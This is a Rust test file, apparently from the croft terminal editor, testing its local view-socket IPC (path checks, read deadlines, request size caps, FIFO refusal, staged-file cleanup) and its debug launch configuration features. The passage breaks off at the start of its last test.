/// A relative path is refused rather than resolved against croft's cwd (#362).
///
/// `view_ipc`'s header states that the server only ever sees absolute paths,
/// because the client resolves against ITS cwd before sending. Nothing
/// enforced it, so a relative path from anything that is not `croft view`
/// opened whatever that name meant from croft's own working directory, which
/// is a different file than the sender named. Same-uid, so this is an
/// invariant rather than a boundary, but an unchecked invariant is a comment.
#[test]
fn a_relative_path_in_a_request_is_refused_rather_than_resolved_here() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    let reply = app.apply_view_request(std::path::Path::new("relative.txt"));

    match reply {
        crate::view_ipc::ViewReply::Err { message } => assert!(
            message.contains("absolute"),
            "the refusal must name the invariant it is enforcing, got {message:?}"
        ),
        other => panic!("a relative path must not be resolved here: {other:?}"),
    }
}

/// The status arm that no test could reach (#362).
///
/// `bind_view_socket` returns early under `cfg(test)` so a test cannot leave
/// a live socket in the real cache dir, which also means nothing in the suite
/// ever latches `VIEW_BIND_ERROR`: the arm that tells the user their bind
/// failed had never once run. `view_status` is the pure half, split out so it
/// can. Short-circuit it to always answer "Ready" and this goes red.
#[test]
fn a_failed_view_bind_reaches_the_status_line_with_its_cause() {
    assert_eq!(
        crate::app::view_status(None),
        "Ready",
        "a croft whose bind succeeded says nothing about it"
    );
    let said = crate::app::view_status(Some("Permission denied (os error 13)"));
    assert!(
        said.contains("croft view"),
        "the message must name the feature that is off, or the user cannot \
         connect it to the command that fails: {said:?}"
    );
    assert!(
        said.contains("Permission denied (os error 13)"),
        "and it must carry the CAUSE: a bare 'unavailable' sends the user \
         looking in the wrong place, which is what the latch exists to \
         prevent: {said:?}"
    );
}

// --- #362 fallback-review blocker: the startup pane's environment ----------

#[test]
fn a_pane_command_carries_the_view_socket_when_one_is_bound() {
    // The blocker this replaces: the socket was published with `set_var`
    // AFTER `App::new` had already built the first pane, and portable-pty
    // snapshots `std::env::vars_os()` inside `CommandBuilder::new` and then
    // clears the child's environment before applying only that snapshot. So
    // `croft view` failed in the startup pane and worked in every pane opened
    // later. No test could see it: `bind_view_socket` returns early under
    // `cfg!(test)` and the server-side helper seats a listener by hand, so
    // nothing exercised the publish path at all.
    //
    // Passing the path IN keeps this pure: a process-global set once inside
    // one test would leak into every other test in the binary.
    let mut cmd = portable_pty::CommandBuilder::new("/bin/sh");
    crate::widgets::terminal::apply_pane_env(
        &mut cmd,
        Some(std::path::Path::new("/tmp/croft-view-probe.sock")),
    );
    let carried: Vec<(String, String)> = cmd
        .iter_extra_env_as_str()
        .map(|(k, v)| (k.to_string(), v.to_string()))
        .collect();
    assert!(
        carried
            .iter()
            .any(|(k, v)| k == crate::view_ipc::SOCK_ENV && v == "/tmp/croft-view-probe.sock"),
        "a pane's command must carry the view socket: {carried:?}"
    );
    // Presence half over the same state: the terminal identity still travels,
    // so this cannot pass by the env application having been removed.
    assert!(
        carried
            .iter()
            .any(|(k, v)| k == "TERM" && v == "xterm-256color"),
        "TERM must still be applied: {carried:?}"
    );
}

#[test]
fn a_pane_command_clears_an_inherited_view_socket_when_none_is_bound() {
    // A croft launched FROM a croft pane inherits the outer croft's
    // `CROFT_VIEW_SOCK` through `CommandBuilder::new`, which seeds itself from
    // `std::env::vars_os()`. If the inner croft's own bind fails, adding
    // nothing is not the same as clearing: its panes keep the PARENT's socket,
    // and `croft view report.pdf` opens the file in the wrong window and exits
    // 0. The field doc promises the opposite ("panes then see no
    // CROFT_VIEW_SOCK and the client says so plainly").
    //
    // Asserted through `iter_full_env_as_str`, which is what the CHILD
    // receives. The sibling test below reads `iter_extra_env_as_str`, which
    // filters out every inherited entry and is therefore structurally blind to
    // this: it can only ever prove nothing was ADDED.
    let mut cmd = portable_pty::CommandBuilder::new("/bin/sh");
    cmd.env(crate::view_ipc::SOCK_ENV, "/tmp/outer-croft.sock");
    crate::widgets::terminal::apply_pane_env(&mut cmd, None);
    let carried: Vec<(String, String)> = cmd
        .iter_full_env_as_str()
        .map(|(k, v)| (k.to_string(), v.to_string()))
        .collect();
    assert!(
        !carried.iter().any(|(k, _)| k == crate::view_ipc::SOCK_ENV),
        "an inherited socket must be CLEARED, not merely not-added, or a \
         nested croft routes `croft view` to its parent: {carried:?}"
    );
    // Presence half over the same view: the terminal identity still reaches
    // the child, so this cannot pass by the whole env having been dropped.
    assert!(
        carried
            .iter()
            .any(|(k, v)| k == "TERM" && v == "xterm-256color"),
        "TERM must still reach the child: {carried:?}"
    );
}

#[test]
fn a_pane_command_omits_the_view_socket_when_none_is_bound() {
    // A croft that failed to bind must not hand its panes a stale or empty
    // path: `croft view` then says the socket is unset, which is true and
    // actionable, rather than failing to connect to a name that is not there.
    let mut cmd = portable_pty::CommandBuilder::new("/bin/sh");
    crate::widgets::terminal::apply_pane_env(&mut cmd, None);
    let carried: Vec<(String, String)> = cmd
        .iter_extra_env_as_str()
        .map(|(k, v)| (k.to_string(), v.to_string()))
        .collect();
    assert!(
        !carried.iter().any(|(k, _)| k == crate::view_ipc::SOCK_ENV),
        "no socket bound means no variable: {carried:?}"
    );
    assert!(
        carried.iter().any(|(k, _)| k == "TERM"),
        "and the pane is still given its terminal identity: {carried:?}"
    );
}

#[test]
fn a_client_that_never_sends_a_newline_is_refused_by_the_deadline() {
    // The socket's read timeout does NOT bound `read_request` on its own:
    // SO_RCVTIMEO applies per `recv`, while the read loops until it sees a
    // newline. A client writing inside every window re-arms it forever, and
    // the drain runs on the frame loop, so that freezes the editor.
    //
    // Asserted on the REPLY, not on elapsed time. The wall-clock version of
    // this test was load-sensitive to the point of being a flake in waiting:
    // measured, the fixed path took 20-90ms and the broken path 147-495ms, so
    // the two bands nearly touch and any threshold between them is a coin
    // toss on a busy machine. The deadline path produces a message no other
    // path produces, which is load-independent and says WHICH bound fired.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let sock = seat_view_listener(&mut app, tmp.path());

    let sock2 = sock.clone();
    // The dribbler stops when the SERVER is done with it, not after a fixed
    // count. It used to run 240 x 5ms, a flat 1.2s, while the accept it races
    // is load-scaled to as much as sixteen seconds: on a machine slow enough
    // to need that budget the dribbler had already exited, the server read
    // EOF on `{"path":[47,47`, and the test failed on a serde parse error
    // while asserting about a deadline. That is the same class this fixture
    // was converted to tolerate, left in the fixture instead of the budget.
    let served = std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false));
    let dribbling = std::sync::Arc::clone(&served);
    let dribbler = std::thread::spawn(move || {
        let Ok(mut c) = std::os::unix::net::UnixStream::connect(&sock2) else {
            return;
        };
        // Continuously, and INSIDE the budget. Writing once and going quiet
        // does not reproduce the defect: the per-read timeout fires and the
        // drain moves on, so a fixture shaped that way passes against the
        // unbounded read too. The hang needs a client that keeps re-arming.
        let _ = std::io::Write::write_all(&mut c, br#"{"path":[47"#);
        let _ = std::io::Write::flush(&mut c);
        while !dribbling.load(std::sync::atomic::Ordering::Relaxed) {
            std::thread::sleep(std::time::Duration::from_millis(5));
            if std::io::Write::write_all(&mut c, b",47").is_err() {
                return;
            }
            let _ = std::io::Write::flush(&mut c);
        }
    });

    let listener = app.view_listener.as_ref().unwrap();
    let stream = accept_when_ready(listener);
    let deadline = std::time::Instant::now() + std::time::Duration::from_millis(20);
    let (reply, opened) = app.answer_view_client(stream, deadline);
    served.store(true, std::sync::atomic::Ordering::Relaxed);
    let _ = dribbler.join();

    assert!(
        !opened,
        "nothing was ever named, so nothing can have opened"
    );
    match reply {
        crate::view_ipc::ViewReply::Err { message } => assert!(
            message.contains("did not arrive within the frame budget"),
            "the DEADLINE must be what refuses this client. Any other error \
             means some incidental bound fired instead and the deadline is \
             still unenforced: {message}"
        ),
        other => panic!("a request with no newline cannot succeed: {other:?}"),
    }
}

#[test]
fn a_non_blocking_accepted_stream_is_still_answered() {
    // The PREVIOUS version of this test could not fail: it accepted a
    // connection, called `set_nonblocking(false)` itself, and then asserted
    // the flag it had just set. Deleting the production call left it green on
    // every platform, and its own comment claimed the opposite.
    //
    // The version after that could not fail either, for a NEW reason, and the
    // fix that broke it was in the same round: `read_line_by_deadline` now
    // swallows `WouldBlock`/`TimedOut` and loops, precisely so a per-recv
    // errno cannot end a read early. A non-blocking stream therefore busy
    // spins until the bytes arrive and the reply is `Ok` either way, so
    // asserting the reply says nothing about the flag. Measured: with
    // `set_nonblocking(false)` deleted from production, that version passed.
    //
    // The flag itself is the claim, so the flag is what this asserts. The
    // probe is a DUP rather than a second connection: a dup shares the open
    // file description, so it reads back the same `O_NONBLOCK` the server
    // cleared on the original. The reply assertion stays alongside it, since
    // a cleared flag on an unanswered request would not be a pass either.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let sock = seat_view_listener(&mut app, tmp.path());
    let target = tmp.path().join("seen.txt");
    std::fs::write(&target, b"hello").unwrap();

    let sock2 = sock.clone();
    let target2 = target.clone();
    let client = std::thread::spawn(move || {
        let mut c = std::os::unix::net::UnixStream::connect(&sock2).unwrap();
        // Connect, PAUSE, then write. The pause is what makes the blocking
        // mode observable at all: a client that writes before the server
        // accepts leaves the bytes sitting in the socket buffer, so the first
        // read succeeds immediately whether the socket blocks or not, and the
        // test passes with the flag cleared or set. The read has to WAIT for
        // the mode to matter, which is exactly the case a real `croft view`
        // hits whenever the shell is a little slower than the frame loop.
        std::thread::sleep(std::time::Duration::from_millis(120));
        // `ViewRequest::new` rather than the field by hand, so the byte
        // encoding is exercised rather than reimplemented beside it.
        let req = crate::view_ipc::ViewRequest::new(&target2);
        let mut line = serde_json::to_string(&req).unwrap();
        line.push('\n');
        let _ = std::io::Write::write_all(&mut c, line.as_bytes());
        let _ = std::io::Write::flush(&mut c);
        std::thread::sleep(std::time::Duration::from_millis(300));
    });
    // Long enough for the CONNECT to land, short enough that the request has
    // not been written yet.
    std::thread::sleep(std::time::Duration::from_millis(30));

    let listener = app.view_listener.as_ref().unwrap();
    let stream = accept_when_ready(listener);
    // The state macOS hands production, forced here so Linux exercises it too.
    stream.set_nonblocking(true).unwrap();
    let probe = stream.try_clone().expect("a dup of the accepted stream");

    // The client thread sleeps before it writes, so this deadline is racing a
    // scheduler, not the server. Load-scaled for the same reason every other
    // spawn wait here is (CONTRIBUTING.md).
    let deadline = std::time::Instant::now()
        + crate::test_budget::spawn_budget(crate::test_budget::tests::VIEW_SERVER_DEADLINE_BASE);
    let (reply, opened) = app.answer_view_client(stream, deadline);
    let _ = client.join();

    let flags = unsafe { libc::fcntl(std::os::fd::AsRawFd::as_raw_fd(&probe), libc::F_GETFL) };
    assert!(
        flags >= 0,
        "F_GETFL on the dup failed: {}",
        std::io::Error::last_os_error()
    );
    assert_eq!(
        flags & libc::O_NONBLOCK,
        0,
        "production must clear O_NONBLOCK on an accepted stream: macOS inherits \
         the listener's flags across accept, and a non-blocking read there \
         returns before the client has written"
    );

    assert_eq!(
        reply,
        crate::view_ipc::ViewReply::Ok,
        "and the request is still answered: a cleared flag with no reply \
         behind it would not be a pass"
    );
    assert!(opened, "and the file must actually have been opened");
}

#[test]
fn the_sweep_spares_staged_stdin_a_croft_may_still_be_showing() {
    // The previous version of this test modelled the "live" file as
    // `stdin-{own_pid}-0.csv` and passed. Production never produces that name:
    // `stage_stdin` runs inside `view_ipc::run`, the short-lived `croft view`
    // CLIENT, which exits milliseconds later. So every staged file carries a
    // pid that is dead by construction, the pid-liveness sweep matched all of
    // them, and launching a second croft deleted a file the first one had open
    // in a tab. `sqlite_view::table_page` re-opens by path on every page turn,
    // so that breaks the tab rather than merely littering.
    //
    // Staged through the real function, so the name is the shape production
    // makes rather than the shape the old fixture assumed.
    let tmp = tempfile::tempdir().unwrap();
    let fresh = crate::view_ipc::stage_stdin(tmp.path(), b"a,b\n1,2\n", None).unwrap();
    assert!(fresh.exists(), "precondition: the pipe was staged");

    crate::app::sweep_dead_view_sockets(tmp.path());
    assert!(
        fresh.exists(),
        "a just-staged pipe must survive: a pane may be showing it right now"
    );
}

/// A staged pipe a LIVE croft holds survives the sweep at any age (#362).
///
/// Age alone was the whole rule, and age alone deletes a file that is open in
/// a tab as soon as the session outlives the window. That is not litter:
/// `sqlite_view::table_page` re-opens by path on every page turn, so the tab
/// breaks, and `vault read ... | croft view -` cannot be produced again by
/// re-running anything. The server stamps its pid in at open time and this
/// asserts the sweep honours it.
///
/// Both files here are twice the retention age, so age cannot be what
/// separates them: only the holder's liveness can.
#[test]
fn the_staging_sweep_spares_a_pipe_a_live_croft_still_holds() {
    let tmp = tempfile::tempdir().unwrap();
    let staged = tmp.path().join("view-stdin");
    std::fs::create_dir_all(&staged).unwrap();

    // A live pid that is NOT this process, so `holder == process::id()` in
    // production cannot be what spares it and the liveness probe has to run.
    let mut peer = std::process::Command::new("sleep")
        .arg("30")
        .spawn()
        .unwrap();
    let live = peer.id();
    let dead = {
        let mut child = std::process::Command::new("true").spawn().unwrap();
        let pid = child.id();
        child.wait().unwrap();
        pid
    };

    let held_live = staged.join(format!("held-{live}-stdin-999999-0.csv"));
    let held_dead = staged.join(format!("held-{dead}-stdin-999999-1.csv"));
    let unclaimed = staged.join("stdin-999999-2.csv");
    for p in [&held_live, &held_dead, &unclaimed] {
        std::fs::write(p, b"a,b\n1,2\n").unwrap();
    }
    let old = std::time::SystemTime::now() - (STAGED_STDIN_RETENTION * 2);
    for p in [&held_live, &held_dead, &unclaimed] {
        let f = std::fs::File::options().write(true).open(p).unwrap();
        f.set_times(std::fs::FileTimes::new().set_modified(old))
            .unwrap();
    }

    crate::app::sweep_dead_view_sockets(tmp.path());
    let live_survived = held_live.exists();
    let _ = peer.kill();
    let _ = peer.wait();

    assert!(
        live_survived,
        "a pipe held by a running croft must survive the sweep at any age: \
         the tab re-opens it by path and the bytes cannot be regenerated"
    );
    assert!(
        !held_dead.exists(),
        "a pipe whose holder has exited, and which has aged out, is litter"
    );
    assert!(
        !unclaimed.exists(),
        "and an unclaimed staged file still ages out, or the sweep stops \
         bounding the pile at all"
    );
}

/// The server stamps its own pid onto a staged file when it opens it (#362).
///
/// The rename is what gives the sweep a live holder to see. It must happen
/// BEFORE the open, so the editor holds the name the sweep will spare rather
/// than one that is about to move under it.
#[test]
fn opening_a_staged_pipe_claims_it_for_this_croft() {
    let tmp = tempfile::tempdir().unwrap();
    let staged = crate::view_ipc::stage_stdin(tmp.path(), b"a,b\n1,2\n", None).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    let reply = app.apply_view_request(&staged);
    assert_eq!(reply, crate::view_ipc::ViewReply::Ok, "the pipe must open");

    assert!(
        !staged.exists(),
        "the staged name must be gone: it is the name the sweep judges by age"
    );
    let open = app.editor.editors[app.editor.active_index()]
        .path
        .clone()
        .expect("a file is open");
    let name = open.file_name().unwrap().to_str().unwrap();
    assert_eq!(
        crate::view_ipc::holder_of_staged(name),
        Some(std::process::id()),
        "the EDITOR must hold the claimed path, or a page turn re-opens a \
         name that no longer exists: {name}"
    );
    assert!(
        open.exists(),
        "and the claimed file must be on disk under its new name"
    );
}

/// An ordinary file is never renamed by the claim (#362).
#[test]
fn opening_a_named_file_does_not_rename_it() {
    let tmp = tempfile::tempdir().unwrap();
    // Deliberately named like a staged file, but NOT in the staging dir: the
    // directory check is what stops croft renaming a user's own file.
    let decoy = tmp.path().join("stdin-1-0.txt");
    std::fs::write(&decoy, b"mine").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    let reply = app.apply_view_request(&decoy);
    assert_eq!(reply, crate::view_ipc::ViewReply::Ok, "it must still open");
    assert!(
        decoy.exists(),
        "a file the user named must keep its name, whatever it looks like"
    );
    assert_eq!(
        app.editor.editors[app.editor.active_index()]
            .path
            .as_deref(),
        Some(decoy.as_path()),
        "and the editor holds the path the user asked for"
    );
}

#[test]
fn the_staging_sweep_leaves_a_file_it_did_not_stage() {
    // The name filter, which had no negative case: the socket sweep has one
    // and this did not. A user who drops a note in the staging directory, or
    // any other program that writes there, must not have it deleted on a
    // guess just for being old.
    let tmp = tempfile::tempdir().unwrap();
    let staged = tmp.path().join("view-stdin");
    std::fs::create_dir_all(&staged).unwrap();
    let stranger = staged.join("notes.txt");
    std::fs::write(&stranger, b"not croft's").unwrap();
    let ours = staged.join("stdin-999999-0.txt");
    std::fs::write(&ours, b"croft's").unwrap();

    // Both older than the window, so age cannot be what separates them.
    let old = std::time::SystemTime::now() - (STAGED_STDIN_RETENTION * 2);
    for p in [&stranger, &ours] {
        let f = std::fs::File::options().write(true).open(p).unwrap();
        f.set_times(std::fs::FileTimes::new().set_modified(old))
            .unwrap();
    }

    crate::app::sweep_staged_stdin(tmp.path());

    assert!(
        stranger.exists(),
        "a file croft did not stage is not croft's to delete"
    );
    assert!(
        !ours.exists(),
        "and the control: a staged file that old goes"
    );
}
#[test]
fn the_sweep_removes_staged_stdin_old_enough_that_nothing_can_be_showing_it() {
    // The other half. Age is the honest key here: the pid in the name belongs
    // to a process that is always gone, so liveness answers a question the
    // name cannot pose. Anything older than the retention window predates any
    // running croft's session.
    let tmp = tempfile::tempdir().unwrap();
    let stale = crate::view_ipc::stage_stdin(tmp.path(), b"secret", Some("txt")).unwrap();
    // Backdate past the window without waiting for it.
    let old = std::time::SystemTime::now() - std::time::Duration::from_secs(60 * 60 * 30);
    let f = std::fs::File::options().write(true).open(&stale).unwrap();
    f.set_modified(old).unwrap();
    drop(f);

    crate::app::sweep_dead_view_sockets(tmp.path());
    assert!(
        !stale.exists(),
        "a staged pipe older than the window must not outlive it: the module's \
         own rationale names `vault read | croft view -`"
    );
}

// NOT a test: `a_client_that_never_reads_its_reply` was written for the
// missing write timeout and removed rather than kept green. Measured, the
// drain returned in 13ms because the reply is bounded by MAX_REQUEST_BYTES
// (~16KB of path) while Linux's default unix-socket buffer is an order of
// magnitude larger, so `write_all` never blocks here whatever the timeout is.
// The fix (`set_write_timeout` in `answer_view_client`) is correct on macOS,
// whose buffers are small enough to hit it and which is croft's primary
// platform - but a test that passes identically with and without it is not
// evidence, and keeping one would misrepresent this as covered.

#[test]
fn the_view_socket_is_bound_before_the_first_pane_is_spawned() {
    // The blocker this PR exists to fix, pinned. `croft view` failed in the
    // STARTUP pane because `App::new` built that pane before binding the
    // socket, and portable-pty snapshots the environment inside
    // `CommandBuilder::new`. Every other test on this branch seats a listener
    // by hand and skips the bind entirely, so reverting the ordering left the
    // whole suite green - the one defect this branch is about had no guard.
    //
    // Checked against the SOURCE rather than at runtime, deliberately.
    // `view_ipc::SOCK_PATH` is a set-once process global: a test that ran the
    // real bind would publish a temp path into every other test in this
    // binary, which is the hazard `CACHE_DIR_OVERRIDE_FOR_TEST` exists to
    // avoid for the cache dir. The repo already checks source-level properties
    // this way (`scripts/check_doc_ownership.py`). It is brittle to a rename,
    // and it fails loudly and says why, which is the trade being made.
    let src = include_str!("mod.rs");
    let ctor = src
        .find("pub fn new(root: PathBuf)")
        .expect("App::new must exist for this guard to mean anything");
    // Bounded to App::new's own body. Slicing to the end of the file let two
    // plausible edits satisfy the guard while inverting the runtime order:
    // extracting the pane spawn into a helper defined BELOW App::new (the
    // marker's offset then jumps past the bind's), or a doc comment naming
    // `Self::bind_view_socket()` somewhere above a later spawn.
    let end = src[ctor..]
        .find("\n    pub fn ")
        .map(|i| ctor + i)
        .unwrap_or(src.len());
    let body = &src[ctor..end];
    // And each marker must be unique in the file, so a second occurrence
    // cannot silently be the one measured.
    for marker in ["Self::bind_view_socket()", "PtyTerminal::new(&root)"] {
        assert_eq!(
            src.matches(marker).count(),
            1,
            "{marker} must appear exactly once, or this guard measures whichever \
             copy comes first rather than the one that runs"
        );
    }
    let bind = body
        .find("Self::bind_view_socket()")
        .expect("App::new must bind the view socket");
    let pane = body
        .find("PtyTerminal::new(&root)")
        .expect("App::new must spawn the first pane");
    assert!(
        bind < pane,
        "the view socket must be bound BEFORE the first pane is spawned: \
         portable-pty snapshots the environment when a pane's CommandBuilder \
         is built, so a pane constructed first never learns the socket and \
         `croft view` fails in it while working in every pane opened later"
    );
}

#[test]
fn a_view_request_for_a_fifo_is_refused_rather_than_opened() {
    // `apply_view_request` refused only directories, so a FIFO passed the
    // check and reached `Editor::open`, whose `File::open` BLOCKS until a
    // writer appears. `mkfifo /tmp/f && croft view /tmp/f` from any pane froze
    // the whole editor permanently, recoverable only by SIGKILL, and
    // `/dev/zero` took the same route and read until OOM.
    //
    // The 20ms drain deadline does not help: it bounds the READ of the
    // request, and this is the step after it. Bounding one stage of a pipeline
    // says nothing about the next.
    //
    // Run on a thread with a join deadline: against the old behaviour this
    // hangs forever, and a hang reads as a CI timeout rather than as this
    // defect.
    let tmp = tempfile::tempdir().unwrap();
    let fifo = tmp.path().join("pipe");
    let c = std::ffi::CString::new(fifo.as_os_str().as_encoded_bytes()).unwrap();
    assert_eq!(
        unsafe { libc::mkfifo(c.as_ptr(), 0o600) },
        0,
        "precondition: the fixture must actually create a FIFO"
    );
    assert!(
        fifo.exists(),
        "and `exists()` must say yes, as it did in production"
    );

    let root = tmp.path().to_path_buf();
    let target = fifo.clone();
    let (tx, rx) = std::sync::mpsc::channel();
    std::thread::spawn(move || {
        let mut app = App::new(root).unwrap();
        let _ = tx.send(app.apply_view_request(&target));
    });
    let reply = rx
        .recv_timeout(crate::test_budget::spawn_budget(
            crate::test_budget::tests::VIEW_FIFO_RECV_BASE,
        ))
        .expect("opening a FIFO must not block the frame loop forever");
    assert!(
        matches!(reply, crate::view_ipc::ViewReply::Err { .. }),
        "a FIFO is not a regular file and must be refused with a reason the \
         client prints, got {reply:?}"
    );
}

#[test]
fn a_terminated_request_over_the_cap_is_refused_like_an_unterminated_one() {
    // The cap was tested on the iteration AFTER the newline branch, so a
    // request carrying its newline in the very chunk that crossed the limit
    // was accepted and deserialised. The bound held for an unterminated flood
    // and not for a terminated one - which is the shape a real client sends.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let sock = seat_view_listener(&mut app, tmp.path());

    let sock2 = sock.clone();
    let flood = std::thread::spawn(move || {
        let Ok(mut c) = std::os::unix::net::UnixStream::connect(&sock2) else {
            return;
        };
        // Just past the cap, and TERMINATED, so the newline lands INSIDE the
        // chunk that crosses the limit. The size matters: overshoot by more
        // than one 4096-byte chunk and the accumulate-path check fires on an
        // earlier read, before the newline arrives, which the old ordering
        // also refused - a fixture that big cannot tell the two apart. This is
        // the only window where the newline branch runs first.
        let mut line = vec![b'x'; (crate::view_ipc::MAX_REQUEST_BYTES as usize) + 100];
        line.push(b'\n');
        let _ = std::io::Write::write_all(&mut c, &line);
        let _ = std::io::Write::flush(&mut c);
        std::thread::sleep(std::time::Duration::from_millis(300));
    });
    std::thread::sleep(std::time::Duration::from_millis(50));

    let listener = app.view_listener.as_ref().unwrap();
    let stream = accept_when_ready(listener);
    // The client thread sleeps before it writes, so this deadline is racing a
    // scheduler, not the server. Load-scaled for the same reason every other
    // spawn wait here is (CONTRIBUTING.md).
    let deadline = std::time::Instant::now()
        + crate::test_budget::spawn_budget(crate::test_budget::tests::VIEW_SERVER_DEADLINE_BASE);
    let (reply, opened) = app.answer_view_client(stream, deadline);
    let _ = flood.join();

    assert!(!opened, "an oversized request names nothing to open");
    match reply {
        crate::view_ipc::ViewReply::Err { message } => assert!(
            message.contains("exceeded the maximum length"),
            "the LENGTH cap must be what refuses this, not an incidental parse \
             failure downstream of accepting it: {message}"
        ),
        other => panic!("an oversized request must not be accepted: {other:?}"),
    }
}

/// Pick the row of the open list picker whose id is `id`.
fn pick_row_id(app: &mut App, id: &str) {
    let picker = app.list_picker.as_mut().expect("a picker is open");
    picker.selected = picker
        .rows
        .iter()
        .position(|r| r.id == id)
        .unwrap_or_else(|| panic!("no row {id}"));
    app.confirm_list_picker();
}

/// Type `value` over whatever the open prompt holds and press Enter.
fn answer_prompt(app: &mut App, value: &str) {
    app.input_prompt.as_mut().expect("a prompt is open").value = value.to_string();
    app.submit_input_prompt();
}

/// #250: Debug: Add Configuration… walks the fields a launch needs, refuses
/// a value that does not fit without losing the rest, and writes the entry
/// to `.croft/launch.json`, selected for F5 and listed in the picker.
#[test]
fn add_debug_configuration_writes_a_launch_entry() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Reachable from the picker, not only the palette.
    app.open_debug_config_picker();
    pick_row_id(&mut app, "add");
    pick_row_id(&mut app, "python");
    pick_row_id(&mut app, "launch");
    let prompt = app.input_prompt.as_ref().expect("the name is asked");
    assert_eq!(prompt.value, "Launch Python", "seeded with a name");
    answer_prompt(&mut app, "Serve");
    assert_eq!(app.input_prompt.as_ref().unwrap().value, "${file}");
    answer_prompt(&mut app, "${workspaceFolder}/api.py");
    answer_prompt(&mut app, "--port \"80 00");
    assert!(app.status.contains("quote"), "{}", app.status);
    assert_eq!(
        app.input_prompt.as_ref().unwrap().value,
        "--port \"80 00",
        "the refused value is offered back to fix"
    );
    answer_prompt(&mut app, "--port 8000");
    // Optional fields take a blank Enter.
    answer_prompt(&mut app, "");
    answer_prompt(&mut app, "DEBUG=1");
    answer_prompt(&mut app, "");
    assert!(app.input_prompt.is_none(), "the draft is complete");
    assert!(app.status.contains("Added \"Serve\""), "{}", app.status);
    assert_eq!(app.selected_debug_config.as_deref(), Some("Serve"));
    let cfgs = crate::dap::configs::discover_configs(tmp.path());
    assert_eq!(cfgs.len(), 1);
    assert_eq!(cfgs[0].source, ".croft/launch.json");
    let written: serde_json::Value = serde_json::from_str(
        &std::fs::read_to_string(tmp.path().join(".croft/launch.json")).unwrap(),
    )
    .unwrap();
    let entry = &written["configurations"][0];
    assert_eq!(entry["program"], "${workspaceFolder}/api.py");
    assert_eq!(entry["args"], serde_json::json!(["--port", "8000"]));
    assert_eq!(entry["env"]["DEBUG"], "1");
    assert!(entry.get("cwd").is_none() && entry.get("preLaunchTask").is_none());
    app.open_debug_config_picker();
    assert!(
        app.list_picker
            .as_ref()
            .unwrap()
            .rows
            .iter()
            .any(|r| r.label.starts_with("Serve")),
        "and the picker lists it"
    );
}

/// #250: an attach asks only where to attach, and the palette starts it.
#[test]
fn add_debug_configuration_attaches_by_port() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.run_command(crate::widgets::command_palette::Command::AddDebugConfig);
    pick_row_id(&mut app, "node");
    pick_row_id(&mut app, "attach");
    answer_prompt(&mut app, "Web");
    answer_prompt(&mut app, "nope");
    assert!(app.status.contains("Not a port"), "{}", app.status);
    answer_prompt(&mut app, "9229");
    assert!(app.input_prompt.is_none());
    let cfgs = crate::dap::configs::discover_configs(tmp.path());
    assert_eq!(
        (cfgs.len(), cfgs[0].request),
        (1, crate::dap::configs::RequestKind::Attach)
    );
}

/// Open the debug picker and confirm the row whose label starts with `label`.
fn pick_debug_row(app: &mut App, label: &str) {
    app.open_debug_config_picker();
    let idx = app
        .list_picker
        .as_ref()
        .expect("picker open")
        .rows
        .iter()
        .position(|r| r.label.starts_with(label))
        .unwrap_or_else(|| panic!("{label} is listed"));
    app.list_picker.as_mut().unwrap().selected = idx;
    app.confirm_list_picker();
}

/// A workspace with two configs and compounds with and without a task. The
/// task never finishes on its own, so a parked launch stays parked.
fn compound_workspace() -> tempfile::TempDir {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".vscode")).unwrap();
    std::fs::write(
        tmp.path().join(".vscode/tasks.json"),
        r#"{ "version": "2.0.0", "tasks": [
            { "label": "build", "type": "shell", "command": "true" }
        ]}"#,
    )
    .unwrap();
    std::fs::write(
        tmp.path().join(".vscode/launch.json"),
        r#"{ "configurations": [
            { "name": "Server", "type": "python", "request": "launch", "program": "s.py" },
            { "name": "Client", "type": "python", "request": "launch", "program": "c.py" }
        ],
        "compounds": [
            { "name": "Tasked", "configurations": ["Server"], "preLaunchTask": "build" },
            { "name": "Both", "configurations": ["Server", "Client"] }
        ]}"#,
    )
    .unwrap();
    tmp
}

#[test]
fn restart_relaunches_the_selected_compound_not_a_stale_config() {
    // #567 item 6: a compound launch never became the F5 target, so restart
    // (and F5 after the sessions end) ran whatever was selected before.
    let tmp = compound_workspace();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.selected_debug_config = Some(String::from("Client"));

    pick_debug_row(&mut app, "Tasked");
    assert_eq!(app.selected_debug_compound.as_deref(), Some("Tasked"));
    assert_eq!(
        app.selected_debug_config, None,
        "the compound replaces the old target"
    );
    app.refresh_run_debug();
    assert_eq!(app.run_debug.selected_config.as_deref(), Some("Tasked"));

    // Restart goes back through the compound, so its task parks the launch
    // again. Launching "Client" (the stale target) or bare "Server" (its
    // member) would clear the parking instead.
    app.pending_debug_launch = None;
    app.debug_restart();
    assert!(
        app.pending_debug_launch.is_some() && app.status.contains("compound preLaunchTask"),
        "restart re-runs the compound behind its own task: {}",
        app.status
    );

    // Choosing a configuration afterwards drops the compound selection.
    pick_debug_row(&mut app, "Server");
    assert_eq!(app.selected_debug_compound, None);
    assert_eq!(app.selected_debug_config.as_deref(), Some("Server"));
}

#[test]
fn a_direct_compound_launch_drops_an_older_parked_task() {
    // #567 item 5: the parked launch outlived a newer compound launch, and
    // its task's exit would later start its config and stop the compound.
    let tmp = compound_workspace();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    pick_debug_row(&mut app, "Tasked");
    assert!(
        app.pending_debug_launch.is_some(),
        "the task-gated launch is parked"
    );

    pick_debug_row(&mut app, "Both");
    assert!(
        app.pending_debug_launch.is_none(),
        "the newer compound launch supersedes the parked one"
    );
}

#[test]
fn a_zero_config_launch_drops_an_older_parked_task() {
    let tmp = compound_workspace();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

